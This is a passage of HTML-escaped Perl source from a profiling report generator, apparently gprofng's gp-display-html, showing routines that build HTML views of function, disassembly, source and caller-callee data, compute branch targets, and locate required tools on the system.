#------------------------------------------------------------------------------
# Get the function overview.
#------------------------------------------------------------------------------
  $msg = &quot;generate the list with functions executed&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  my ($outfile, $sort_fields_ref) =
	      get_hot_functions (\@exp_dir_list, $summary_metrics, $outputdir);

  @sort_fields = @{$sort_fields_ref};

#------------------------------------------------------------------------------
# Parse the output from the fsummary command and store the relevant data for
# all the functions listed there.
#------------------------------------------------------------------------------
  $msg = &quot;analyze and store the relevant function information&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  ($function_info_ref, $function_address_and_index_ref, $addressobjtextm_ref,
   $LINUX_vDSO_ref, $function_view_structure_ref) =
						get_function_info ($outfile);

  @function_info              = @{ $function_info_ref };
  %function_address_and_index = %{ $function_address_and_index_ref };
  %addressobjtextm            = %{ $addressobjtextm_ref };
  %LINUX_vDSO                 = %{ $LINUX_vDSO_ref };
  %function_view_structure    = %{ $function_view_structure_ref };

  $msg = &quot;found &quot; . $g_total_function_count . &quot; functions to process&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  for my $keys (0 .. $#function_info)
    {
      for my $fields (keys %{$function_info[$keys]})
        {
          $msg = &quot;$keys $fields $function_info[$keys]{$fields}&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
        }
    }

  for my $i (keys %addressobjtextm)
    {
      $msg = &quot;addressobjtextm{$i} = &quot; . $addressobjtextm{$i};
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);
    }

  $msg  = &quot;generate the files with function overviews and the&quot;;
  $msg .= &quot; callers-callees information&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  $script_pc_metrics = generate_function_level_info (\@exp_dir_list,
                                                     $call_metrics,
                                                     $summary_metrics,
                                                     $outputdir,
                                                     $sort_fields_ref);

  $msg = &quot;preprocess the files with the function level information&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  $ignore_value = preprocess_function_files (
                    $metric_description_ref,
                    $script_pc_metrics,
                    $outputdir,
                    \@sort_fields);

  $msg = &quot;for each function, generate a set of files&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  ($function_info_ref, $function_address_info_ref, $addressobj_index_ref) =
			process_function_files (\@exp_dir_list,
						$executable_name,
						$time_percentage_multiplier,
						$summary_metrics,
						$process_all_functions,
						$elf_loadobjects_found,
						$outputdir,
						\@sort_fields,
						\@function_info,
						\%function_address_and_index,
						\%LINUX_vDSO,
						\%metric_description,
						$elf_arch,
						$base_va_executable,
						$ARCHIVES_MAP_NAME,
						$ARCHIVES_MAP_VADDR,
						\%elf_rats);

  @function_info         = @{ $function_info_ref };
  %function_address_info = %{ $function_address_info_ref };
  %addressobj_index      = %{ $addressobj_index_ref };

#------------------------------------------------------------------------------
# Parse the disassembly information and generate the html files.
#------------------------------------------------------------------------------
  $msg = &quot;parse the disassembly files and generate the html files&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  $ignore_value = parse_dis_files (\$number_of_metrics,
				  \@function_info,
				  \%function_address_and_index,
				  \$outputdir,
				  \%addressobj_index);

#------------------------------------------------------------------------------
# Parse the source information and generate the html files.
#------------------------------------------------------------------------------
  $msg = &quot;parse the source files and generate the html files&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  parse_source_files (\$number_of_metrics, \@function_info, \$outputdir);

#------------------------------------------------------------------------------
# Parse the caller-callee information and generate the html files.
#------------------------------------------------------------------------------
  $msg = &quot;process the caller-callee information and generate the html file&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Generate the caller-callee information.
#------------------------------------------------------------------------------
  $ignore_value = generate_caller_callee (\$number_of_metrics,
					  \@function_info,
					  \%function_view_structure,
					  \%function_address_info,
					  \%addressobjtextm,
					  \$outputdir);

#------------------------------------------------------------------------------
# Parse the calltree information and generate the html files.
#------------------------------------------------------------------------------
  if ($g_user_settings{&quot;calltree&quot;}{&quot;current_value&quot;} eq &quot;on&quot;)
    {
      $msg = &quot;process the call tree information and generate the html file&quot;;
      gp_message (&quot;verbose&quot;, $subr_name, $msg);

      $ignore_value = process_calltree (\@function_info,
					\%function_address_info,
					\%addressobjtextm,
					$outputdir);
    }

#------------------------------------------------------------------------------
# Process the metric values.
#------------------------------------------------------------------------------
  $msg = &quot;generate the html file with the metrics information&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  $ignore_value = process_metrics ($outputdir,
				   \@sort_fields,
				   \%metric_description,
				   \%ignored_metrics);

#------------------------------------------------------------------------------
# Generate the function view html files.
#------------------------------------------------------------------------------
  $msg = &quot;generate the function view html files&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  $html_first_metric_file_ref = generate_function_view (
						\$outputdir,
						\$summary_metrics,
						\$number_of_metrics,
						\@function_info,
						\%function_view_structure,
						\%function_address_info,
						\@sort_fields,
						\@exp_dir_list,
						\%addressobjtextm);

  $html_first_metric_file = ${ $html_first_metric_file_ref };

  $msg = &quot;html_first_metric_file = &quot; . $html_first_metric_file;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

  $html_test = ${ generate_home_link (&quot;left&quot;) };
  $msg = &quot;html_test = &quot; . $html_test;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Unconditionnaly generate the page with the warnings.
#------------------------------------------------------------------------------
  $ignore_value = html_create_warnings_page (\$outputdir);

#------------------------------------------------------------------------------
# Generate the index.html file.
#------------------------------------------------------------------------------
  $msg = &quot;generate the index.html file&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);

  $ignore_value = html_generate_index (\$outputdir,
				       \$html_first_metric_file,
				       \$summary_metrics,
				       \$number_of_metrics,
				       \@function_info,
				       \%function_address_info,
				       \@sort_fields,
				       \@exp_dir_list,
				       \%addressobjtextm,
				       \%metric_description_reversed,
				       \@table_execution_stats);

#------------------------------------------------------------------------------
# We&#039;re done.  In debug mode, print the meta data for the experiment
# directories.
#------------------------------------------------------------------------------
  $ignore_value = print_meta_data_experiments (&quot;debug&quot;);

#------------------------------------------------------------------------------
# Before the execution completes, print the warning(s) on the screen.
#
# Note that this assumes that no additional warnings have been created since
# the call to html_create_warnings_page.  Otherwise there will be a discrepancy
# between what is printed on the screen and shown in the warnings.html page.
#------------------------------------------------------------------------------
  if (($g_total_warning_count &gt; 0) and ($g_warnings))
    {
      $ignore_value = print_warnings_buffer ();
      @g_warning_msgs = ();
    }

#------------------------------------------------------------------------------
# This is not supposed to happen, but in case there are any fatal errors that
# have not caused the execution to terminate, print them here.
#------------------------------------------------------------------------------
  if (@g_error_msgs)
    {
      $ignore_value = print_errors_buffer (\$g_error_keyword);
    }

#------------------------------------------------------------------------------
# One line message to show where the results can be found.
#------------------------------------------------------------------------------
  my $results_file = $abs_path_outputdir . &quot;/index.html&quot;;
  my $prologue_text = &quot;Processing completed - view file $results_file&quot; .
                      &quot; in a browser&quot;;
  gp_message (&quot;diag&quot;, $subr_name, $prologue_text);

  return (0);

} #-- End of subroutine main

#------------------------------------------------------------------------------
# If it is not present, add a &quot;/&quot; to the name of the argument.  This is
# intended to be used for the name of the output directory and makes it
# easier to construct pathnames.
#------------------------------------------------------------------------------
sub append_forward_slash
{
  my $subr_name = get_my_name ();

  my ($input_string) = @_;

  my $length_of_string = length ($input_string);
  my $return_string    = $input_string;

  if (rindex ($input_string, &quot;/&quot;) != $length_of_string-1)
    {
      $return_string .= &quot;/&quot;;
    }

  return ($return_string);

} #-- End of subroutine append_forward_slash

#------------------------------------------------------------------------------
# Return a string with a comma separated list of directory names.
#------------------------------------------------------------------------------
sub build_pretty_dir_list
{
  my $subr_name = get_my_name ();

  my ($dir_list_ref) = @_;

  my @dir_list = @{ $dir_list_ref};

  my $pretty_dir_list = join (&quot;\n&quot;, @dir_list);

  return ($pretty_dir_list);

} #-- End of subroutine build_pretty_dir_list

#------------------------------------------------------------------------------
# Calculate the target address in hex by adding the instruction to the
# instruction address.
#------------------------------------------------------------------------------
sub calculate_target_hex_address
{
  my $subr_name = get_my_name ();

  my ($instruction_address, $instruction_offset) = @_;

  my $dec_branch_target;
  my $d1;
  my $d2;
  my $first_char;
  my $length_of_string;
  my $mask;
  my $msg;
  my $number_of_fields;
  my $raw_hex_branch_target;
  my $result;

  if ($g_addressing_mode eq &quot;64 bit&quot;)
    {
      $mask = &quot;0xffffffffffffffff&quot;;
      $number_of_fields = 16;
    }
  else
    {
      $msg = &quot;g_addressing_mode = $g_addressing_mode not supported&quot;;
      gp_message (&quot;abort&quot;, $subr_name, $msg);
    }

  $length_of_string = length ($instruction_offset);
  $first_char       = lcfirst (substr ($instruction_offset,0,1));
  $d1               = bigint::hex ($instruction_offset);
  $d2               = bigint::hex ($mask);
#          if ($first_char eq &quot;f&quot;)
  if (($first_char =~ /[89a-f]/) and ($length_of_string == $number_of_fields))
    {
#------------------------------------------------------------------------------
# The offset is negative.  Convert to decimal and perform the subtrraction.
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# XOR the decimal representation and add 1 to the result.
#------------------------------------------------------------------------------
      $result = ($d1 ^ $d2) + 1;
      $dec_branch_target = bigint::hex ($instruction_address) - $result;
    }
  else
    {
      $result = $d1;
      $dec_branch_target = bigint::hex ($instruction_address) + $result;
    }
#------------------------------------------------------------------------------
# Convert to hexadecimal.
#------------------------------------------------------------------------------
  $raw_hex_branch_target = sprintf (&quot;%x&quot;, $dec_branch_target);

  return ($raw_hex_branch_target);

} #-- End of subroutine calculate_target_hex_address

#------------------------------------------------------------------------------
# Sets the absolute path to all commands in array @cmds.
#
# First, it is checked if the command is in the search path, built-in, or an
# alias.  If this is not the case, search for it in a couple of locations.
#
# If this all fails, warning messages are printed, but this is not a hard
# error. Yet. Most likely, things will go bad later on.
#
# The commands and their respective paths are stored in hash &quot;g_mapped_cmds&quot;.
#------------------------------------------------------------------------------
sub check_and_define_cmds
{
  my $subr_name = get_my_name ();

  my ($cmds_ref, $search_path_ref) = @_;

#------------------------------------------------------------------------------
# Dereference the array addressess first and then store the contents.
#------------------------------------------------------------------------------
  my @cmds        = @{$cmds_ref};
  my @search_path = @{$search_path_ref};

  my @the_fields = ();

  my $cmd;
  my $cmd_found;
  my $error_code;
  my $failed_cmd;
  my $failed_cmds;
  my $found_match;
  my $mapped;
  my $msg;
  my $no_of_failed_mappings;
  my $no_of_fields;
  my $output_cmd;
  my $target_cmd;
  my $failed_mapping = $FALSE;
  my $full_path_cmd;

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;\@cmds = @cmds&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;\@search_path = @search_path&quot;);

#------------------------------------------------------------------------------
# Search for the command and record the absolute path.  In case no such path
# can be found, the entry in $g_mapped_cmds is assigned a special value that
# will be checked for in the next block.
#------------------------------------------------------------------------------
  for $cmd (@cmds)
    {
      $target_cmd = &quot;(command -v $cmd; echo \$\?)&quot;;

      ($error_code, $output_cmd) = execute_system_cmd ($target_cmd);

      if ($error_code != 0)
#------------------------------------------------------------------------------
# This is unlikely to happen, since it means the command executed failed.
#------------------------------------------------------------------------------
        {
          $msg = &quot;error executing this command: &quot; . $target_cmd;
          gp_message (&quot;warning&quot;, $subr_name, $msg);
          $msg = &quot;execution continues, but may fail later on&quot;;
          gp_message (&quot;warning&quot;, $subr_name, $msg);

          $g_total_warning_count++;
        }
      else
#------------------------------------------------------------------------------
# So far, all is well, but is the target command available?
#------------------------------------------------------------------------------
        {
#------------------------------------------------------------------------------
# The output from the $target_cmd command should contain 2 lines in case the
# command has been found.  The first line shows the command with the full
# path, while the second line has the exit code.
#
# If the exit code is not zero, the command has not been found.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Split the output at the \n character and check the number of lines as
# well as the return code.
#------------------------------------------------------------------------------
          @the_fields   = split (&quot;\n&quot;, $output_cmd);
          $no_of_fields = scalar (@the_fields);
          $cmd_found    = ($the_fields[$no_of_fields-1] == 0 ? $TRUE : $FALSE);

#------------------------------------------------------------------------------
# This is unexpected.  Throw an assertion error and bail out.
#------------------------------------------------------------------------------
          if ($no_of_fields &gt; 2)
            {
              gp_message (&quot;error&quot;, $subr_name, &quot;output from $target_cmd:&quot;);
              gp_message (&quot;error&quot;, $subr_name, $output_cmd);

              $msg = &quot;the output from $target_cmd has more than 2 lines&quot;;
              gp_message (&quot;assertion&quot;, $subr_name, $msg);
            }

          if ($cmd_found)
            {
              $full_path_cmd = $the_fields[0];
#------------------------------------------------------------------------------
# The command is in the search path.  Store the full path to the command.
#------------------------------------------------------------------------------
              $msg = &quot;the $cmd command is in the search path&quot;;
              gp_message (&quot;debug&quot;, $subr_name, $msg);

              $g_mapped_cmds{$cmd} = $full_path_cmd;
            }
          else
#------------------------------------------------------------------------------
# A best effort to locate the command elsewhere.  If found, store the command
# with the absolute path included.  Otherwise print a warning, but continue.
#------------------------------------------------------------------------------
            {
              $msg = &quot;the $cmd command is not in the search path&quot;;
              $msg .= &quot; - start a best effort search to find it&quot;;
              gp_message (&quot;debug&quot;, $subr_name, $msg);

              $found_match = $FALSE;
              for my $path (@search_path)
                {
                  $target_cmd = $path . &quot;/&quot; . $cmd;
                  if (-x $target_cmd)
                    {
                      $msg = &quot;found the command in $path&quot;;
                      gp_message (&quot;debug&quot;, $subr_name, $msg);

                      $found_match = $TRUE;
                      $g_mapped_cmds{$cmd} = $target_cmd;
                      last;
                    }
                  else
                    {
                      $msg = &quot;failure to find the $cmd command in $path&quot;;
                      gp_message (&quot;debug&quot;, $subr_name, $msg);
                    }
                }

              if (not $found_match)
                {
                  $g_mapped_cmds{$cmd} = &quot;road to nowhere&quot;;
                  $failed_mapping = $TRUE;
                }
            }
        }
    }

#------------------------------------------------------------------------------
# Scan the results stored in $g_mapped_cmds and flag errors.
#------------------------------------------------------------------------------
  $no_of_failed_mappings = 0;
  $failed_cmds           = &quot;&quot;;

#------------------------------------------------------------------------------
# Print a warning message before showing the results, that at least one search
# has failed.
#------------------------------------------------------------------------------
  if ($failed_mapping)
    {
      $msg  = &quot;&lt;br&gt;&quot; . &quot;failure in the verification of the OS commands:&quot;;
      gp_message (&quot;warning&quot;, $subr_name, $msg);
    }

  while ( ($cmd, $mapped) = each %g_mapped_cmds)
    {
      if ($mapped eq &quot;road to nowhere&quot;)
        {
          $msg  = &quot;cannot find a path for command $cmd&quot;;
          gp_message (&quot;warning&quot;, $subr_name, $msg);
          gp_message (&quot;debug&quot;, $subr_name, $msg);

          $no_of_failed_mappings++;
          $failed_cmds .= $cmd;
          $g_mapped_cmds{$cmd} = $cmd;
        }
      else
       {
          $msg = &quot;path for the $cmd command is $mapped&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
       }
    }
  if ($no_of_failed_mappings != 0)
    {
      my $plural_1 = ($no_of_failed_mappings &gt; 1) ? &quot;failures&quot;   : &quot;failure&quot;;
      my $plural_2 = ($no_of_failed_mappings &gt; 1) ? &quot;commands&quot; : &quot;command&quot;;

      $msg  = &quot;encountered $no_of_failed_mappings $plural_1 to locate&quot;;
      $msg .= &quot; selected &quot; . $plural_2;
      gp_message (&quot;warning&quot;, $subr_name, $msg);
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      $msg  = &quot;execution continues, but may fail later on&quot;;
      gp_message (&quot;warning&quot;, $subr_name, $msg);
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      $g_total_warning_count++;
    }

  return ($no_of_failed_mappings);

} #-- End of subroutine check_and_define_cmds

#------------------------------------------------------------------------------
# Look for a branch instruction, or the special endbr32/endbr64 instruction
# that is also considered to be a branch target.  Note that the latter is x86
# specific.
#------------------------------------------------------------------------------
sub check_and_proc_dis_branches
{
  my $subr_name = get_my_name ();

  my ($input_line_ref, $line_no_ref,  $branch_target_ref,
      $extended_branch_target_ref, $branch_target_no_ref_ref) = @_;

  my $input_line = ${ $input_line_ref };
  my $line_no    = ${ $line_no_ref };
  my %branch_target = %{ $branch_target_ref };
  my %extended_branch_target = %{ $extended_branch_target_ref };
  my %branch_target_no_ref = %{ $branch_target_no_ref_ref };

  my $found_it = $TRUE;
  my $hex_branch_target;
  my $instruction_address;
  my $instruction_offset;
  my $msg;
  my $raw_hex_branch_target;

  if (   ($input_line =~ /$g_branch_regex/)
      or ($input_line =~ /$g_endbr_regex/))
    {
      if (defined ($3))
        {
          $msg = &quot;found a branch or endbr instruction: &quot; .
                 &quot;\$1 = $1 \$2 = $2 \$3 = $3&quot;;
        }
      else
        {
          $msg = &quot;found a branch or endbr instruction: &quot; .
                 &quot;\$1 = $1 \$2 = $2&quot;;
        }
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);

      if (defined ($1))
        {
#------------------------------------------------------------------------------
# Found a qualifying instruction
#------------------------------------------------------------------------------
          $instruction_address = $1;
          if (defined ($3))
            {
#------------------------------------------------------------------------------
# This must be the branch target and needs to be converted and processed.
#------------------------------------------------------------------------------
              $instruction_offset  = $3;
              $raw_hex_branch_target = calculate_target_hex_address (
                                        $instruction_address,
                                        $instruction_offset);

              $hex_branch_target = &quot;0x&quot; . $raw_hex_branch_target;
              $branch_target{$hex_branch_target} = 1;
              $extended_branch_target{$instruction_address} =
							$raw_hex_branch_target;
            }
          if (defined ($2) and (not defined ($3)))
            {
#------------------------------------------------------------------------------
# Unlike a branch, the endbr32/endbr64 instructions do not have a second field.
#------------------------------------------------------------------------------
              my $instruction_name = $2;
              if ($instruction_name =~ /$g_endbr_inst_regex/)
                {
                  my $msg = &quot;found endbr: $instruction_name &quot; .
                            $instruction_address;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);
                  $raw_hex_branch_target = $instruction_address;

                  $hex_branch_target = &quot;0x&quot; . $raw_hex_branch_target;
                  $branch_target_no_ref{$instruction_address} = 1;
                }
            }
        }
      else
        {
#------------------------------------------------------------------------------
# TBD: Perhaps this should be an assertion or alike.
#------------------------------------------------------------------------------
          $branch_target{&quot;0x0000&quot;} = $FALSE;
          $msg = &quot;cannot determine branch target&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
        }
    }
  else
    {
      $found_it = $FALSE;
    }

  return (\$found_it, \%branch_target, \%extended_branch_target,
         \%branch_target_no_ref);

} #-- End of subroutine check_and_proc_dis_branches

#------------------------------------------------------------------------------
# Check an input line from the disassembly file to include a function call.
# If it does, process the line and return the branch target results.
#------------------------------------------------------------------------------
sub check_and_proc_dis_func_call
{
  my $subr_name = get_my_name ();

  my ($input_line_ref, $line_no_ref,  $branch_target_ref,
      $extended_branch_target_ref) = @_;

  my $input_line = ${ $input_line_ref };
  my $line_no    = ${ $line_no_ref };
  my %branch_target = %{ $branch_target_ref };
  my %extended_branch_target = %{ $extended_branch_target_ref };

  my $found_it = $TRUE;
  my $hex_branch_target;
  my $instruction_address;
  my $instruction_offset;
  my $msg;
  my $raw_hex_branch_target;

  if ( $input_line =~ /$g_function_call_v2_regex/ )
    {
      $msg = &quot;found a function call - line[$line_no] = $input_line&quot;;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);
      if (not defined ($2))
        {
          $msg = &quot;line[$line_no] &quot; .
                 &quot;an instruction address is expected, but not found&quot;;
          gp_message (&quot;assertion&quot;, $subr_name, $msg);
        }
      else
        {
          $instruction_address = $2;

          $msg = &quot;instruction_address = $instruction_address&quot;;
          gp_message (&quot;debugXL&quot;, $subr_name, $msg);

          if (not defined ($4))
            {
              $msg = &quot;line[$line_no] &quot; .
                     &quot;an address offset is expected, but not found&quot;;
              gp_message (&quot;assertion&quot;, $subr_name, $msg);
            }
          else
            {
              $instruction_offset = $4;
              if ($instruction_offset =~ /[0-9a-fA-F]+/)
                {
                  $msg = &quot;calculate branch target: &quot; .
                         &quot;instruction_address = $instruction_address&quot;;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);
                  $msg = &quot;calculate branch target: &quot; .
                         &quot;instruction_offset  = $instruction_offset&quot;;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# The instruction offset needs to be converted and added to the instruction
# address.
#------------------------------------------------------------------------------
                  $raw_hex_branch_target = calculate_target_hex_address (
                                            $instruction_address,
                                            $instruction_offset);
                  $hex_branch_target     = &quot;0x&quot; . $raw_hex_branch_target;

                  $msg = &quot;calculated hex_branch_target = &quot; .
                         $hex_branch_target;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

                  $branch_target{$hex_branch_target} = 1;
                  $extended_branch_target{$instruction_address} =
							$raw_hex_branch_target;

                  $msg = &quot;set branch_target{$hex_branch_target} to 1&quot;;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);
                  $msg  = &quot;added extended_branch_target{$instruction_address}&quot;;
                  $msg .= &quot; = $extended_branch_target{$instruction_address}&quot;;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);
                }
              else
                {
                  $msg = &quot;line[$line_no] unknown address format&quot;;
                  gp_message (&quot;assertion&quot;, $subr_name, $msg);
                }
            }
        }
    }
  else
    {
      $found_it = $FALSE;
    }

  return (\$found_it, \%branch_target, \%extended_branch_target);

} #-- End of subroutine check_and_proc_dis_func_call

#------------------------------------------------------------------------------
# Check if the value for the user option given is valid.
#
# In case the value is valid, the g_user_settings table is updated with the
# (new) value.
#
# Otherwise an error message is pushed into the g_error_msgs buffer.
#
# The return value is TRUE/FALSE.
#------------------------------------------------------------------------------
sub check_and_set_user_option
{
  my $subr_name = get_my_name ();

  my ($internal_opt_name, $value) = @_;

  my $msg;
  my $valid;
  my $option_value_missing;

  my $option     = $g_user_settings{$internal_opt_name}{&quot;option&quot;};
  my $data_type  = $g_user_settings{$internal_opt_name}{&quot;data_type&quot;};
  my $no_of_args = $g_user_settings{$internal_opt_name}{&quot;no_of_arguments&quot;};
 
  if (($no_of_args &gt;= 1) and
      ((not defined ($value)) or (length ($value) == 0)))
#------------------------------------------------------------------------------
# If there was no value given, but it is required, flag an error.
# There could also be a value, but it might be the empty string.
#
# Note that that there are currently no options with multiple values.  Should
# these be introduced, the current check may need to be refined.
#------------------------------------------------------------------------------
    {
      $valid                = $FALSE;
      $option_value_missing = $TRUE;
    }
  elsif ($no_of_args &gt;= 1)
    {
      $option_value_missing = $FALSE;
#------------------------------------------------------------------------------
# There is an input value.  Check if it is valid and if so, store it.
#
# Note that we allow the options to be case insensitive.
#------------------------------------------------------------------------------
      $valid = verify_if_input_is_valid ($value, $data_type);

      if ($valid)
        {
          if (($data_type eq &quot;onoff&quot;) or ($data_type eq &quot;size&quot;))
            {
              $g_user_settings{$internal_opt_name}{&quot;current_value&quot;} =
								lc ($value);
            }
          else
            {
              $g_user_settings{$internal_opt_name}{&quot;current_value&quot;} = $value;
            }
          $g_user_settings{$internal_opt_name}{&quot;defined&quot;} = $TRUE;
        }
    }

  return (\$valid, \$option_value_missing);

} #-- End of subroutine check_and_set_user_option

#------------------------------------------------------------------------------
# Check for the $GP_DISPLAY_TEXT tool to be available.  This is a critical tool
# needed to provide the information.  If it can not be found, execution is
# terminated.
#
# We first search for this tool in the current execution directory.  If it
# cannot be found there, use $PATH to try to locate it.
#------------------------------------------------------------------------------
sub check_availability_tool
{
  my $subr_name = get_my_name ();

  my ($location_gp_command_ref) = @_;

  my $error_code;
  my $error_occurred;
  my $gp_path;
  my $msg;
  my $output_which_gp_display_text;
  my $return_value;
  my $target_cmd;

#------------------------------------------------------------------------------
# Get the path to gp-display-text.
#------------------------------------------------------------------------------
  my ($error_occurred_ref, $gp_path_ref, $return_value_ref) =
		       find_path_to_gp_display_text ($location_gp_command_ref);

  $error_occurred = ${ $error_occurred_ref};
  $gp_path        = ${ $gp_path_ref };
  $return_value   = ${ $return_value_ref};

  $msg = &quot;error_occurred = $error_occurred return_value = $return_value&quot;;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

  if (not $error_occurred)
#------------------------------------------------------------------------------
# All is well and gp-display-text has been located.
#------------------------------------------------------------------------------
    {
      $g_path_to_tools = $return_value;

      $msg = &quot;located $GP_DISPLAY_TEXT in the execution directory&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
      $msg = &quot;g_path_to_tools = $g_path_to_tools&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
    }
  else
#------------------------------------------------------------------------------
# Something went wrong, but perhaps we can still continue.  Try to find
# $GP_DISPLAY_TEXT through the search path.
#------------------------------------------------------------------------------
    {
      $msg  = $g_html_new_line;
      $msg .= &quot;could not find $GP_DISPLAY_TEXT in directory $gp_path :&quot;;
      $msg .= &quot; $return_value&quot;;
      gp_message (&quot;warning&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Check if we can find $GP_DISPLAY_TEXT in the search path.
#------------------------------------------------------------------------------
      $msg = &quot;check for $GP_DISPLAY_TEXT to be in the search path&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      gp_message (&quot;warning&quot;, $subr_name, $msg);
      $g_total_warning_count++;

      $target_cmd = $g_mapped_cmds{&quot;which&quot;} . &quot; $GP_DISPLAY_TEXT 2&gt;&amp;1&quot;;

      ($error_code, $output_which_gp_display_text) =
					      execute_system_cmd ($target_cmd);

      if ($error_code == 0)
        {
          my ($gp_file_name, $gp_path, $suffix_not_used) =
                                     fileparse ($output_which_gp_display_text);
          $g_path_to_tools = $gp_path;

          $msg  = &quot;located $GP_DISPLAY_TEXT in $g_path_to_tools&quot;;
          gp_message (&quot;warning&quot;, $subr_name, $msg);
          $msg = &quot;this is the version that will be used&quot;;
          gp_message (&quot;warning&quot;, $subr_name, $msg);

          $msg = &quot;the $GP_DISPLAY_TEXT tool is in the search path&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
          $msg = &quot;g_path_to_tools = $g_path_to_tools&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
        }
      else
        {
          $msg = &quot;failure to find $GP_DISPLAY_TEXT in the search path&quot;;
          gp_message (&quot;error&quot;, $subr_name, $msg);

          $g_total_error_count++;

          gp_message (&quot;abort&quot;, $subr_name, $g_abort_msg);
        }
     }

  return (\$g_path_to_tools);

} #-- End of subroutine check_availability_tool

#------------------------------------------------------------------------------
# This function determines whether load objects are in ELF format.
#
# Compared to the original code, any input value other than 2 or 3 is rejected
# upfront.  This not only reduces the nesting level, but also eliminates a
# possible bug.
#
# Also, by isolating the tests for the input files, another nesting level could
# be eliminated, further simplifying this still too complex code.
#------------------------------------------------------------------------------
sub check_loadobjects_are_elf
{
  my $subr_name = get_my_name ();

  my ($selected_archive) = @_;

  my $event_kind_map_regex;
  $event_kind_map_regex  = &#039;^&lt;event kind=&quot;map&quot;\s.*vaddr=&#039;;
  $event_kind_map_regex .= &#039;&quot;0x([0-9a-fA-F]+)&quot;\s+.*foffset=&#039;;
  $event_kind_map_regex .= &#039;&quot;\+*0x([0-9a-fA-F]+)&quot;\s.*modes=&#039;;
  $event_kind_map_regex .= &#039;&quot;0x([0-9]+)&quot;\s.*name=&quot;(.*)&quot;.*&gt;$&#039;;

  my $hostname_current = $local_system_config{&quot;hostname_current&quot;};
  my $arch             = $local_system_config{&quot;processor&quot;};
  my $arch_uname_s     = $local_system_config{&quot;kernel_name&quot;};

  my $extracted_information;

  my $elf_magic_number;

  my $executable_name;
  my $va_executable_in_hex;

  my $arch_exp;
  my $hostname_exp;
  my $os_exp;
  my $os_exp_full;

  my $archives_file;
  my $rc_b;
  my $file;
  my $line;
  my $msg;
  my $name;
  my $name_path;
  my $foffset;
  my $vaddr;
  my $modes;

  my $path_to_map_file;
  my $path_to_log_file;

#------------------------------------------------------------------------------
# TBD: Parameterize and should be the first experiment directory from the list.
#------------------------------------------------------------------------------
  $path_to_log_file  =
		$g_exp_dir_meta_data{$selected_archive}{&quot;directory_path&quot;};
  $path_to_log_file .= $selected_archive;
  $path_to_log_file .= &quot;/log.xml&quot;;

  gp_message (&quot;debug&quot;, $subr_name, &quot;hostname_current = $hostname_current&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;arch             = $arch&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;arch_uname_s     = $arch_uname_s&quot;);

#------------------------------------------------------------------------------
# TBD
#
# This check can probably be removed since the presence of the log.xml file is
# checked for in an earlier phase.
#------------------------------------------------------------------------------
  $msg  = &quot; - unable to open file $path_to_log_file for reading:&quot;;
  open (LOG_XML, &quot;&lt;&quot;, $path_to_log_file)
    or die ($subr_name . $msg . &quot; &quot; . $!);

  $msg = &quot;opened file $path_to_log_file for reading&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  while (&lt;LOG_XML&gt;)
    {
      $line = $_;
      chomp ($line);
      gp_message (&quot;debugM&quot;, $subr_name, &quot;read line: $line&quot;);
#------------------------------------------------------------------------------
# Search for the first line starting with &quot;&lt;system&quot;.  Bail out if found and
# parsed. These are two examples:
# &lt;system hostname=&quot;ruud-vm&quot; arch=&quot;x86_64&quot; \
# os=&quot;Linux 4.14.35-2025.400.8.el7uek.x86_64&quot; pagesz=&quot;4096&quot; npages=&quot;30871514&quot;&gt;
#------------------------------------------------------------------------------
      if ($line =~ /^\s*&lt;system\s+/)
        {
          $msg = &quot;selected the following line from the log.xml file:&quot;;
          gp_message (&quot;debugM&quot;, $subr_name, $msg);
          gp_message (&quot;debugM&quot;, $subr_name, &quot;$line&quot;);
          if ($line =~ /.*\s+hostname=&quot;([^&quot;]+)/)
            {
              $hostname_exp = $1;
              $msg = &quot;extracted hostname_exp = &quot; . $hostname_exp;
              gp_message (&quot;debugM&quot;, $subr_name, $msg);
            }
          if ($line =~ /.*\s+arch=&quot;([^&quot;]+)/)
            {
              $arch_exp = $1;
              $msg = &quot;extracted arch_exp = &quot; . $arch_exp;
